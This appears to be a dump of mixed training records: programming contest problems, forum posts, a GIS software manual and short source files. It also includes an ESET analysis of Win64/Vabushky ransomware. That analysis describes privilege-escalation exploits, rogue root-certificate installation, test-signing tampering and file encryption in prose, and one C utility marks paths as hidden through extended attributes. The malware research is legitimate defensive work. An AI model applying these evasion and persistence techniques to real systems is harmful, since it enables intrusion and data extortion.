inspect.\n/// \\return Optimal buffer size.\n/// \\throw TODO\nsize_t GetBufferSize(NativeHandle handle);\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 902, "token_count_with_eod": 903, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There are $$$n$$$ shovels in the nearby shop. The $$$i$$$-th shovel costs $$$a_i$$$ bourles.\n\nMisha has to buy exactly $$$k$$$ shovels. Each shovel can be bought no more than once.\n\nMisha can buy shovels by several purchases. During one purchase he can choose any subset of remaining (non-bought) shovels and buy this subset.\n\nThere are also $$$m$$$ special offers in the shop. The $$$j$$$-th of them is given as a pair $$$(x_j, y_j)$$$, and it means that if Misha buys exactly $$$x_j$$$ shovels during one purchase then $$$y_j$$$ most cheapest of them are for free (i.e. he will not pay for $$$y_j$$$ most cheapest shovels during the current purchase).\n\nMisha can use any offer any (possibly, zero) number of times, but he cannot use more than one offer during one purchase (but he can buy shovels without using any offers).\n\nYour task is to calculate the minimum cost of buying $$$k$$$ shovels, if Misha buys them optimally.", "source": "cpt_codeforces", "language": "en", "token_count": 244, "token_count_with_eod": 245, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm having an issue with Microsoft Power BI Desktop. I'm unable to connect to my ArcGIS account. I was able to log in last week but am unable to do so now. I've done my research and attempted to uninstall, redownload (tried an earlier version), install, and clear cache, among other things. Nothing I attempt appears to work. The login text field is frozen, preventing me from entering my credentials. However, the text field unfreezes if I select the ArcGIS Enterprise login option (see attached image).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 110, "token_count_with_eod": 111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On a cold winter evening our hero Vasya stood in a railway queue to buy a ticket for Codeforces championship final. As it usually happens, the cashier said he was going to be away for 5 minutes and left for an hour. Then Vasya, not to get bored, started to analyze such a mechanism as a queue. The findings astonished Vasya.\n\nEvery man is characterized by two numbers: ai, which is the importance of his current task (the greater the number is, the more important the task is) and number ci, which is a picture of his conscience. Numbers ai form the permutation of numbers from 1 to n.\n\nLet the queue consist of n - 1 people at the moment. Let's look at the way the person who came number n behaves. First, he stands at the end of the queue and the does the following: if importance of the task ai of the man in front of him is less than an, they swap their places (it looks like this: the man number n asks the one before him: \"Erm... Excuse me please but it's very important for me... could you please let me move up the queue?\"), then he again poses the question to the man in front of him and so on. But in case when ai is greater than an, moving up the queue stops. However, the man number n can perform the operation no more than cn times.\n\nIn our task let us suppose that by the moment when the man number n joins the queue, the process of swaps between n - 1 will have stopped. If the swap is possible it necessarily takes place.\n\nYour task is to help Vasya model the described process and find the order in which the people will stand in queue when all the swaps stops.", "source": "cpt_codeforces", "language": "en", "token_count": 367, "token_count_with_eod": 368, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Scales? What kind of scales is this website talking about? Is it digital scales, that balance scale, the scale one weighs their self and other objects with. What kind of scale is this? Oh, it's Escali digital scales. And what are those? ScalesEtc. has a new line of fashionable scales. Now that's interesting. These scales seem to be the kind that weigh items in fractions of a gram to hundreds of pounds. Does that mean this scale can weigh flour and spinach in kilos? Is that how I have heard of these kinds of scales? I guess they can make a handy item in the kitchen when one is cooking and measuring something a lot. And they sell bathroom and other kinds of scales also. So if you happen to be looking for one of those digital scales or some other kind of scale for whatever reason, ScalesEtc. is there for you. They are all scales, all the time.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 191, "token_count_with_eod": 192, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "OV7251 vs. OV9782 sensor\nThe camera config page mentions both the OV7251 and the OV9282 as compatible sensors for tracking/stereo.\nBut the link to the OV9782 (https://docs.modalai.com/M0113/) is dead - I wonder if you have any comments on the sensor.\nIs the OV7251 the preferred / better supported solution?\nYou can find M0113 here: https://www.modalai.com/products/msu-m0113\n@Chad-Sweet thanks. Is there also a datasheet doc for M0113?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Is the OE Authentication Gateway product available in the 11.7 OEDK? I can't find it in the list when I create an activation file.\nGateway is part of PAS Prod which not included into OEDK.\nThanks Valeriy. I see from the price list that OEAG is a part of both PASOE Prod (which, presumably, developers shouldn't be using) and as a stand-alone product. I guess we have to buy the latter. It's odd to me that OEAG isn't also a part of the OEDK.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The ping is the reaction time of your connection–how fast you get a response after you’ve sent out a request. A fast ping means a more responsive connection, especially in applications where timing is everything (like video games).\nPing is more appropriate to test whether or not a connection can be made, not how fast the connection is. How Ping Tests Work Ping uses the Internet Control Message Protocol (ICMP) to generate requests and handle responses.\nPing is a basic Internet program that allows a user to verify that a particular IP address exists and can accept requests. The verb «ping» means the act of using the ping utility or command.\nPing, the disguised identity of Hua Mulan in the animated film Mulan Ping the Elastic Man , a comic strip character introduced in The Beano in 1938 «The machine that goes Ping! «, a fictitious obstetric medical device featured in the film Monty Python’s The Meaning of Life\nPing is a utility first developed by Michael Muss in 1983 that is used to verify whether or not a network data packet is capable of being distributed to an address without errors. The ping utility is commonly used to check for network errors.\nJul 31, 2009 · The time it takes for a device to respond to a ping request is determined by a number of factors. Network traffic, the type of cables you use, and even location. Typically speaking, if you lived in Columbus Ohio, you will get a better ping speed pinging a computer in Cleveland than if you were pinging, say, Sacramento, California.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 328, "token_count_with_eod": 329, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Young Adult Librarian\nNew York Public Library\nCrystal Chen (she/her/hers) is the Young Adult Librarian at the Woodstock branch of The New York Public Library. She earned a BA in fine arts from Amherst College, a MFA in printmaking from SUNY New Paltz, and a MSLIS from Pratt Institute. She is interested in the intersection of art, activism, and social justice and how libraries can create inclusive, responsive programming for youth communities.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 99, "token_count_with_eod": 100, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Househelp booking app\nBetalt ved levering\napp to book live in maid or driver.\nProjekt ID: #36726005\n19 freelancere byder i gennemsnit ₹34395 timen for dette job\nHi, We are team of professional developers wit more than 8 years of experience. We can make app for maid or diver booking. Please inbox so that we can discuss the features and pricing in detail. Thanks.\nI am a professional software engineer having experience of 3 + years in developing applications. Along with developing your application I will give free support service to the software developed for 1 years.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 137, "token_count_with_eod": 138, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "\"Best player on their team\"\nErm You see when you're at the comparison section, and it says best player on their team, they usually say the best player is the one that's the highest rated. Tbh, there are a lot of teams where the highest rated player isn't doing the most work. The game should use the same coefficient to work out who's putting in the most work. Besides, you can see who's the highest rated anyway... Thank you guys for coming to my talk, the floor is open for questions and help yourself to the bar on the left hand side *gestures*\n2022-02-03 · 回复数 0 · 赞数 1", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Google launched Carbon programming language with a goal to being a successor to C++. Tried it indepth and looks like a great language for beginners. If you are not sure about it,\nYou can get started with this Google Carbon language tutorial\nAlthough I use C++ very rarely, Getting started with Carbon language was breeze. If you are interested in exploring new language, definitely give it a try. If you tried it,\nI have tried all the Carbon language examples using IntelliJ. But curious to know if any one tried it in VSCode ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 109, "token_count_with_eod": 110, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A few months ago on this blog I described PowerLoader functionality including an interesting way for privilege escalation into the explorer.exe system process. The leaked PowerLoader code is also used in other malware families. For example the Win32/Gapz dropper is based on leaked PowerLoader code. In August 2013 we have tracked a new modification of PowerLoader for 64-bit operating systems (detected by ESET products as Win64/Vabushky.A). This modification uses three exploits for local privilege escalation (LPE): MS13-053 (CVE-2013-3660), MS12-041 (CVE-2012-1864), and MS12-042 (CVE-2012-0217). Use of this set of LPE exploits was not previously observed in PowerLoader samples or by related malware families.\nWin64/Vabushky is a good example of how cybercriminals update their projects with code based on leaked Carberp sources. Two 64-bit exploits (CVE-2012-1864 and CVE-2012-0217) from the updated PowerLoader update are based on the leaked code. Before this leak into the public domain, 64-bit exploitation code for these vulnerabilities was not available. It’s also worth noting that the PowerLoader code was leaked in April 2013 and initiated the wave of distribution of droppers based on PowerLoader leaked code.\nThe dropper for Win64/Vabushky is packed by MPRESS because this packer is one of the few free products that support x64 PE32+ files. After unpacking, the dropper extracted the original PE32+ header with the time of compilation:\nAll binaries include a payload compiled at the beginning of August, according to time stamp data. PowerLoader’s export table also shows a few changes after unpacking when compared to the older version:\nThe most interesting part of latest changes provided concern the exploitation code for local privilege escalation.\nLPE exploits update\nAfter code injection into explorer.exe the modified version of PowerLoader tried to execute following local privilege escalation exploits into trusted process address space:\nThis set of LPE exploits can bypass some types of sandbox technologies used by security products. This is because direct manipulation of some kernel-mode structures is possible from user-mode using legitimate WinAPI calls.\nGoogle researcher Tavis Ormandy discovered the MS31-053 vulnerability in March and exploitation details were disclosed in May. The patch only became available with July’s patch Tuesday. Before this modified version of PowerLoader, I hadn’t seen a 64-bit version of MS13-053 exploit in-the-wild. Only an x86 version of proof of concept code has been seen made available publicly, but PowerLoader uses 64-bit exploitation code. There is a good description of the way in which this vulnerability is exploited in the VUPEN blog.\nBefore the start of the exploitation process a second desktop is created for hiding visible artifacts by manipulating GDI objects.\nThe main exploitation code for CVE-2013-3660 is presented in the following figure:\nThis exploitation code does not work for the 64-bit MS Windows 8 platform because it cannot bypass the Intel SMEP (Supervisor Mode Execution Protection) technology in modern CPU’s (for which support has been provided since the Ivy Bridge line of processors). Microsoft only started to support SMEP with Windows 8 and upwards. This technology blocks attempts to execute code from user-mode memory pages into kernel-mode. A good description of Intel SMEP as exploit protection technology can be found here. The SMEP technology in Windows 8 for x64 can be bypassed using a ROP (Return-Oriented Programming) technique. However, Intel announced the new protection technology SMAP (Supervisor Mode Access Prevention). Intel’s SMAP blocks attempts to read memory pages from user-mode into kernel-mode. SMAP and SMEP were developed to prevent exploitation of NULL pointer dereferences in kernel-mode but SMAP is not supported in Microsoft operating systems yet.\nCVE-2012-0217 and CVE-2012-1864\nThe CVE-2012-0217 and CVE-2012-1864 exploitation code is based on leaked Carberp sources. The 64-bit versions of CVE-2012-1864 had never been made public before the source code leakage. The exploitation code for CVE-2012-0217 released on public doesn’t work reliably on 64-bit versions of operating systems. Neither exploit will work on Microsoft Windows 8 because of the restricted vulnerability of the platform. After observing the similarity to leaked Carberp source code I checked compiled exploit binaries found in the leaked archive. In both compiled exploits I found the same path to the build directory.\nThis finding points to the same developer and seller for these exploits. The exploitation code for CVE-2012-0217 is different in many respects to the publicly available Proof of Concept exploits. The leaked exploit works more reliably and supports 64-bits operating systems.\nI’m going to check similarities in the code from the PowerLoader modification and the leaked exploit for CVE-2012-0217. The following flow graph shows the similarity of basic structural blocks (PowerLoader code on the left side):\nIt looks to be pretty much the same structure. All the differences are found only in additional debugging code which is not included in PowerLoader modification. Also there are some specific techniques for making the exploitation more stable that look exactly the same.\nThis code provides modifications in nt!HalDispatchTable for avoiding 100% CPU activity with multiple threads in exploitation process.\nThe same thing was found with exploitation code for CVE-2012-1864 vulnerability. This exploit has never before been publicly available either. CVE-2012-1864 was discovered by Tarjei Mandt from Azimuth Security. The vulnerability details were disclosed on the slides “Smashing the Atom” at the Recon conference in June 2012 but exploitation code was not released to the public. The exploit code from PowerLoader looks more optimized and doesn’t have debugging code with console output. For example, as seen in this code (disassembly code from PowerLoader is the second image):\nCVE-2012-0217 and CVE-2012-1864 are good examples of exploits that make it possible to bypass sandboxes in security software. Both of these exploits can manipulate kernel-mode structures from user-mode using standard WinAPI functions. A nice description of vectors for bypassing sandboxes using these types of vulnerabilities is presented in the research report “Application Sandboxes: A Pen-Tester’s Perspective” by Bromium Labs.\nAfter successful PowerLoader execution and privilege escalation, the ransomware (Win64/Vabushky.A) was downloaded in order to infect the system. Earlier this week my colleague Jean-Ian Boutin discussed another example of ransomware in the blog post “Nymaim – Obfuscation Chronicles“. The downloaded file was executed once escalated privileges were achieved to SYSTEM. The Win64/Vabushky installer uses the trick with a self-generated legitimate certificate and the following installation to the local trust store as a ROOT CA and TrustedPublisher. The following code shows this technique:\nThis trick is not new and was mentioned in the blog post “The “Hikit” Rootkit: Advanced and Persistent Attack” by Mandiant. Also, during the installation process modifications are made to Boot Configuration Data (BCD) so as to activate test-signing policy for loading the unsigned driver module. The next figure presents registry keys with system configuration to allow the malicious driver to load (safeboot with various options is covered too):\nAfter successful infection the locked desktop screen looks like this:\nThe user-mode part of Win64/Vabushky also encrypts the user’s files using the Microsoft CryptoAPI and uses the .crypted file extension for encrypted files. The driver code uses standard tricks for locking that don’t merit further discussion in this blog.\nThe Win64/Vabushky dropper uses an interesting modification to the PowerLoader code. However the PowerLoader modifications are based on leaked LPE exploits for 64-bit operating systems from Carberp code. All modules and components dropped by Win64/Vabushky target x64 versions of Microsoft Windows. Only one exploit, CVE-2013-3660, can attack MS Windows 8. However the exploitation code does not work for the 64-bit version of Windows 8 because it can’t bypass Intel SMEP technology. Microsoft is implementing better kernel-mode protection on Windows 8, making x64 exploits for this operating system more expensive. These security mechanisms can be bypassed in such cases with targeted attacks but this adds up to an expensive exploitation technique for run-of-the-mill cybercriminals.\nSpecial thanks to R136a1 who reported the new modification of PowerLoader.\nAleksandr Matrosov, Security Intelligence Team Lead\nSHA1 hashes for analyzed samples:\nWin64/Vabushky.A (dropper) – 110e23ce497d6cd1fd3dc570e50cd701c612b7ba\nWin64/Vabushky.A (driver installer) – 62a53ff68d1c862c9c68fb577b06fa261ef573e4\nWin64/Vabushky.A (driver) – 9434792df305f59a7b9deb99dd8b2617942513b0\nAuthor Aleksandr Matrosov, We Live Security\nLeave a reply", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2114, "token_count_with_eod": 2115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <stdio.h>\n#include <string.h>\n#include <sys/xattr.h>\n#include \"shared.h\"\n\nvoid print_usage(void) {\n    printf(\"Usage:\\n\"\n           \"\\tHide: ./xattr hide <path> ...\\n\"\n           \"\\tHide: ./xattr unhide <path> ...\\n\\n\");\n}\n\nint main(int argc, char *argv[]) {\n    if (argc < 3) {\n        printf(\"[-] xattr: missing arguments\\n\");\n        print_usage();\n        return -1;\n    }\n\n    if (!strcmp(argv[1], \"hide\")) {\n        // hide all given paths\n        for (int i = 2; i < argc; i++) {\n            if (0 > setxattr(argv[i], HIDDEN_XATTR, NULL, 0, 0)) {\n                printf(\"[-] xattr: Cannot set attribute '%s' for path '%s'\\n\", HIDDEN_XATTR, argv[i]);\n            }\n        }\n    } else if (!strcmp(argv[1], \"unhide\")) {\n        // unhide all given paths\n        for (int i = 2; i < argc; i++) {\n            if (0 > removexattr(argv[i], HIDDEN_XATTR)) {\n                printf(\"[-] xattr: Cannot remove attribute '%s' for path '%s'\\n\", HIDDEN_XATTR, argv[i]);\n            }\n        }\n    } else {\n        printf(\"[-] xattr: invalid command\\n\");\n        print_usage();\n        return -1;\n    }\n\n    printf(\"[+] xattr: Done\\n\");\n    return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 369, "token_count_with_eod": 370, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#ifndef LEARNING_ENTITIES_NN_GA_TARGET_H\n#define LEARNING_ENTITIES_NN_GA_TARGET_H\n\n#include \"Point.h\"\n\nclass Food {\nprivate:\n    Point pos;\npublic:\n    Food(Point);\n\n    void draw(sf::RenderWindow *);\n\n    const Point getPos() const;\n    void setPos(const Point pos);\n};\n\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 80, "token_count_with_eod": 81, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Monocarp is planning on opening a chemistry lab. During the first month, he's going to distribute solutions of a certain acid.\n\nFirst, he will sign some contracts with a local chemistry factory. Each contract provides Monocarp with an unlimited supply of some solution of the same acid. The factory provides $$$n$$$ contract options, numbered from $$$1$$$ to $$$n$$$. The $$$i$$$-th solution has a concentration of $$$x_i\\%$$$, the contract costs $$$w_i$$$ burles, and Monocarp will be able to sell it for $$$c_i$$$ burles per liter.\n\nMonocarp is expecting $$$k$$$ customers during the first month. Each customer will buy a liter of a $$$y\\%$$$-solution, where $$$y$$$ is a real number chosen uniformly at random from $$$0$$$ to $$$100$$$ independently for each customer. More formally, the probability of number $$$y$$$ being less than or equal to some $$$t$$$ is $$$P(y \\le t) = \\frac{t}{100}$$$.\n\nMonocarp can mix the solution that he signed the contracts with the factory for, at any ratio. More formally, if he has contracts for $$$m$$$ solutions with concentrations $$$x_1, x_2, \\dots, x_m$$$, then, for these solutions, he picks their volumes $$$a_1, a_2, \\dots, a_m$$$ so that $$$\\sum \\limits_{i=1}^{m} a_i = 1$$$ (exactly $$$1$$$ since each customer wants exactly one liter of a certain solution).\n\nThe concentration of the resulting solution is $$$\\sum \\limits_{i=1}^{m} x_i \\cdot a_i$$$. The price of the resulting solution is $$$\\sum \\limits_{i=1}^{m} c_i \\cdot a_i$$$.\n\nIf Monocarp can obtain a solution of concentration $$$y\\%$$$, then he will do it while maximizing its price (the cost for the customer). Otherwise, the customer leaves without buying anything, and the price is considered equal to $$$0$$$.\n\nMonocarp wants to sign some contracts with a factory (possibly, none or all of them) so that the expected profit is maximized — the expected total price of the sold solutions for all $$$k$$$ customers minus the total cost of signing the contracts from the factory.\n\nPrint the maximum expected profit Monocarp can achieve.", "source": "cpt_codeforces", "language": "en", "token_count": 519, "token_count_with_eod": 520, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "- 01 Sep 2022\n- 14 Minutes to read\nMap tools tab\n- Updated on 01 Sep 2022\n- 14 Minutes to read\nThe Map Tools tab is available from the main ribbon of Flood Modeller's interface. The buttons found here are grouped into 7 tool groups which allow you to perform various functions, such as:\n- Adding GIS data to your project\n- Generating new GIS data to assist with model building\n- Loading / processing results from 1D and 2D models\n- Adding bookmarks to highlight parts of the map view\n- Adding notes to provide further information in your model\n- Geo-processing of GIS data\nEach of the 7 tool groups are described in turn below.\nGIS Data Tool Group\nThe buttons in the GIS Data section allow you to either add existing GIS files to the Map View or create a range of new files which can be added and saved to the project.\nIf you would like to add GIS data to your map, this can be done by clicking the ‘Add GIS Data’ button. This will open a new window prompting you to browse to, and select, the file (or files) that you wish to add. Note the drop-down menu on the bottom right of this window which lists all supported file types that can be selected. Once you have selected your file (or files), click ‘Open’ and the new layer (layers) will be added to the map view as well as be listed in the ‘Layers’ window of the interface (lower left corner).\nIf you would like to create a new GIS layer, this can be done by navigating to the ‘New’ button of the GIS Data Tool Group. Clicking this will activate a drop down menu with the following layer options to choose from: Shapefile or WMS Layer.\nIf you select the Shapefile option, the following window will appear:\nThe above window allows you to select the type of shapefile you would like to create, depending on the purpose it is going to serve. Once you have chosen the type of shapefile that you would like to create, you need to specify a name and location for saving it.\nIf you select to Create a WMS Layer, the create WMS layer tool will then be displayed in a new window as shown below:\nA WMS layer is a layer of maps located on a WMS server. A WMS, or Web Map Service, is a protocol for providing georeferenced map images via the Internet. These map images are generated by a map server using data from a GIS database.\nIf this is the first time you are accessing this function, it will have no servers specified initially. If a WMS server link has already been established, it will be listed.\nThe command buttons available on this window are defined as follows:\n- Validate – Flood Modeller checks it can successfully connect to the selected WMS Server and reports back the available layers for you to review prior to adding them to your view\n- Add - Prompts you to define a new link to a WMS Server\n- Edit - Enables an existing WMS Server link to be edited\n- Delete - Removes an existing WMS Server link\n- Save - Saves your defined list of WMS Server links as an XML file to be recalled in a subsequent Flood Modeller session. Note that if the file is named 'WMSservers.xml' it will be automatically loaded into the WMS server links table.\n- Load - Enables you to load a previously defined list of WMS server links for you to then select one to load as a new layer in your view.\n- OK - After validating a selected WMS Server link this button proceeds to load the associated data as a new layer in your view. You will be prompted to provide a filename for your new layer (which is given a '.wms' file extension)\n- Close - Closes the WMS server window without adding any data to your view.\nGenerators Tool Group\nThe Generators Tool Group allows you to add features such as spill, reservoir or cross sections into your project.\nSpill Units provide pathways for flow to traverse from in-bank onto the floodplain. These are effectively modelled as weirs running parallel to a river, and are defined by a set of ground levels and corresponding chainages (between adjacent river nodes). Flood Modeller provides the facility to automatically extract this information from a specified ground grid. This requires the following to be defined:\n- Ground grid data – this will be interrogated to obtain the vertical elevations along each specified spill line. The grid should be an ASCII format grid (.asc).\n- One or more spill lines – this is a line alongside the modelled watercourse across which an overflow will be modelled. It may be represented by an existing polyline shapefile defined elsewhere or it can be a new polyline shapefile that you 'draw' yourself.\nOnce you have specified your ground grid and spill line shapefile, click on the Spill Generator tool – a new window will then displayed, as shown below:\nYou can review the spill data calculated by this tool either in long section chart format or in IED format within a text viewer. You can then decide whether to proceed to save the spill data to an IED file.\nThe reservoir generator tool converts shapefile polygons into reservoir units by defining a series of constant height 'contours' within each polygon. By calculating the area confined by each contour, Flood Modeller can build a set of depth against surface area data pairs that a reservoir unit requires.\nIn order for this to be carried out, the following must be defined:\n- Ground data.\n- Reservoir polygons. If a shapefile of reservoir polygons already exists then this can be loaded into the viewport. Alternatively, a new shapefile can be defined.\nAfter creating or loading a reservoir outline shapefile, click on the Reservoir button from the Map Tools tab. The Reservoir Generator window will then be displayed, as shown below:\nThe Cross Section Generator button opens the river section builder, within which you must specify the necessary information to define your cross sections. These are as follows:\n- Polyline shapefile loaded into Layers window that represents your river centre line - this must be selected in the Layers window before the cross section tool is run.\n- Cross section separation along the river centre line, which can be defined either by a specified number of equidistant sections or by a maximum distance between sections. Alternatively, you can request a cross section at every point along the centre line.\n- Length of cross section – you must specify the distances from the centre to the left and right banks individually.\n- 1D node label for each cross section. This can be taken from an existing field in the centre line dbf file or you can specify a common name and Flood Modeller will automatically increment each cross section by assigning a number (starting at '001')\n- Common roughness value to be assigned to each cross section. This can be edited in individual sections later if required.\nToolbox Tool Group\nThe Toolbox tool group contains range of commands which relate to modelling. The buttons here allow you to carry out functions such as creating TIN surfaces, exporting shapefiles to KML, plotting cross-sections and a number of other options relating to grid data processing. You can also access the Modelling Toolbox and Flood Viewer tool from this section.\nThe Modelling Toolbox groups together all key functions which relate to modelling, providing an easy to use, single point of access to all of these tools. The toolbox can be accessed by clicking on the Modelling Toolbox button in the Map Tools tab, or by selecting the ‘Toolbox’ button from the group of buttons at the bottom right corner of your user interface. The toolbox will open as a new window on the right side of your map viewport.\nThe TIN Creator tool is designed to generate and edit interpolated triangular network surfaces. These are then used to transform 1D hydraulic model results into 2D flood extent surfaces.\nThe TIN Creator triangulates any complex surface containing ESRI shapefiles (polygons, polylines (curves) and points). In addition some shapes within the input data can be specified as 'holes'. The triangulation process will then go around these areas leaving them blank. Holes are useful to define areas in a model that you want to keep 'dry' when creating a flood water surface from model results.\nThe Export to Google Earth button converts a shapefile to kml format and provides the option to upload the file to Google Earth after the conversion is complete. Selected attributes data can also be assigned to the kml file to provide a colour scale, e.g. water depth data.\nFlood Viewer is an interactive flood visualisation tool which aims to provide rapid access to historic/predictive flood extent mapping in an emergency situation (e.g. control room). The tool allows you to relate maps of different flood extents to a single gauge level, and you can control the extent output by selecting the desired gauge level. The Flood Viewer tool runs within your web browser and can be used from a USB stick or over the web, and therefore there is no requirement for expensive GIS software and no issues with IT compatibility. In addition to basic GIS viewing functions it incorporates a slider, allowing you to move seamlessly between different flooding scenarios (e.g. return period events, time)\nThe Plot Section button allows you to view an animated sequence in a cross section plot. To do this, you must first load your 2D results into Flood Modeller. In addition, load the ground level data used to define your model.\nIf you are using a shapefile to define your cross section then a window will be displayed listing all polyline type shapefiles in your map view. Select the required file and click the OK button.\nA new window will be displayed containing an empty x-y chart, as shown below. To the left of the chart the compatible datasets available for plotting are listed.\nFlood Modeller can be used to manipulate raster datasets (either loaded into the viewport or external files).\nThe following functions are available for affecting grid data:\n- Grid Calculator - Flood Modeller provides the Grid Calculator tool to perform basic arithmetic on grid data. This can be the manipulation of data within a single grid or the combining of multiple grid datasets to create a new grid output. This feature can be utilised to:\n- Convert the units within a grid\n- Find the difference between two grids, e.g. differences in flood extent\n- Add grids together, e.g. add ground grid data to water depths to create a water level grid\n- Surface Calculator - this is compatible with binary (flt), ASCII (asc) and ESRI grid formats. However, it is not compatible with TUFLOW 2D modelling grid outputs. This will be addressed in future to enable calculation of flood hazard grids, i.e. cross products of vector and scalar time series data.\n- Resize - Enables you to resize a grid, i.e. create a new grid that is a subset of the source grid. This is useful to improve performance if only a small part of a large grid is being used. The cell size must remain the same as the original so the only user settings are either revised numbers of rows and columns or revised grid coordinates (for lower left corner). These are set in the new window that is displayed when this option is selected. Note the grid to be resized must be first selected in the Layers window before this tool is accessed.\n- Resample - This function enables the generation of a grid with a different cell size to the source grid. The source grid can be one already loaded in the Layers window or an external grid that you select. The tool is displayed in a new window. You must select an output filename and location as well as the cell size for the new grid. The cell size of the specified source grid is displayed as a guide. If a larger cell size is selected, than Flood Modeller will calculate an average value based on the source cells contained within each output cell. If a smaller cell size is selected then all output cells within a source cell will take the same value (i.e. that of the source cell).\n- Superimpose - Enables you to superimpose elevations from one grid onto another, e.g. change levels over part of a grid by superimposing more recent data. The two grids specified for this operation (base grid and additional layer) can be different extents and resolutions. Either a new grid can be generated as an output or the base grid data can be overwritten. The extent of the output grid can be the same as the base grid or can be the combined extent of both input grids. The required input data are defined in a new window.\n- Stamps SHP features - This functionality enables you to superimpose the attributes of a shapefile onto a grid e.g. the z values or other data stored in the shapefile. A new panel is displayed on selecting this tool which prompts you to select an appropriate grid and shapefile, and select the attribute to be displayed on the new grid.\nBookmarks Tool Group\nTo help you in navigating around a large model, the bookmark facility allows you to mark units of reference or particular importance. The bookmarks can be given two priorities (high or normal), are colour-coded and can be easily navigated using the F9 key.\nThe Quick Add button allows you to quickly add current extent to the bookmark.\nThe Quick Add button allows you to quickly delete the last bookmark.\nSave/Load Bookmarks buttons allow to save bookmarks in a new file or load bookmarks from an existing file respectively.\nNotes Tool Group\nFlood Modeller provides the option to add labels or images to a grid, map, or any other suitable layer. There are three types of labels that you can add:\n- The text label editor can be launched by selecting the Add Text Label button, . This then launches the map label editor, which can be seen in the figure below.\n- An image can be added to the viewport using the image label editor. When selecting the button Add Image Label, , from the Map Tools tab, you will be prompted to find the location of an appropriate image.\n- The final type of label which can be created is a link label, . This provides a text label in the viewport, which when clicked offers further details in a text box, and a link to an external file.\nThe final three buttons within the Notes Tool Group are ‘Clear All’ – which allows you to remove all labels; ‘Save’ – which saves the labels to the disk; and ‘Load’ – which loads labels that have been saved to the disk.\nMap View Tool Group\nThis group of options provides range of tools for viewing the data.\nThe Flood Modeller 3D Viewer is a separate application linked to the main Flood Modeller interface which enables you to view your data in a three dimensional viewport.\nThe 3D Viewer is accessed from the main toolbar by clicking on the 3D Viewer icon, shown above. This will prompt you to select which files currently loaded in the Layers window should be also loaded into the 3D Viewer. In addition to preselecting layers in the main Flood Modeller interface to load into the 3D Viewer, the 3D Viewer toolbar includes an Add Layer menu. This enables additional layers to be added after you have accessed the separate 3D Viewer interface.\nIf you wish to navigate to a specific location on a map or grid, then the Go To X,Y button can be used. This allows you to enter the coordinates of an exact location, and the viewport will move to centre on that location. The level of zoom will remain the same.\nIf the exact location of a grid or map is known in x and y coordinates, the Set Extent tool can be used to manually set the position of the viewport. The Set Extent tool can be found under the View tab in the top right of the MAPPER window. On launching the set extent tool, the panel as shown below will be launched. You can then enter the extreme value of the top, bottom, left and right of the extent required to be launched in the viewport.\nIn addition to the layer properties window, if you right click on the Flood Modeller map view the displayed menu includes a map properties item. If this is selected a new window is displayed that contains overall map properties, i.e. properties that are independent of all loaded layers. An example of this window is shown in the figure below:\nThe map properties window provides the following functions:\n- Change shapefile drawing properties, e.g. line and shape colours (as you are drawing - the finished shape colours are set in individual layer properties).\n- Zoom and pan sensitivity to mouse movements\n- Viewport rotation - map is rotated, e.g. to obtain optimum orientation when creating a display for a report.\nAfter settings have been defined, click the Apply button to implement them. Note that shapefile drawing functions will apply to the next new shapefile created / edited in the viewport (current files may not display the changes).\nGeoprocessing Tool Group\nThe Geoprocessing tool group contains options for performing basic GIS tasks for analysis and/or management of the geographic data within your project. The following buttons are available:\n- Buffer: creates a buffer shapefile around a specified shapefile layer.\n- Clip: uses the outside polygon boundary of the clip coverage to cookie-cut features and attributes from the input coverage.\n- Merge: combines selected features of the same layer into one feature. The features must be from either a line or a polygon layer.\n- Intersect: creates a new shapefile from the common areas or edges of any two selected layers of the same geometry type. The new intersected feature is created using the settings specified in the chosen feature template.\n- Union: computes the geometric union of two shapefile layers.\n- Dissolve: Creates a new shapefile by merging adjacent polygons, lines, or regions that have the same value for a specified field.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3734, "token_count_with_eod": 3735, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Paul is at the orchestra. The string section is arranged in an r × c rectangular grid and is filled with violinists with the exception of n violists. Paul really likes violas, so he would like to take a picture including at least k of them. Paul can take a picture of any axis-parallel rectangle in the orchestra. Count the number of possible pictures that Paul can take.\n\nTwo pictures are considered to be different if the coordinates of corresponding rectangles are different.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
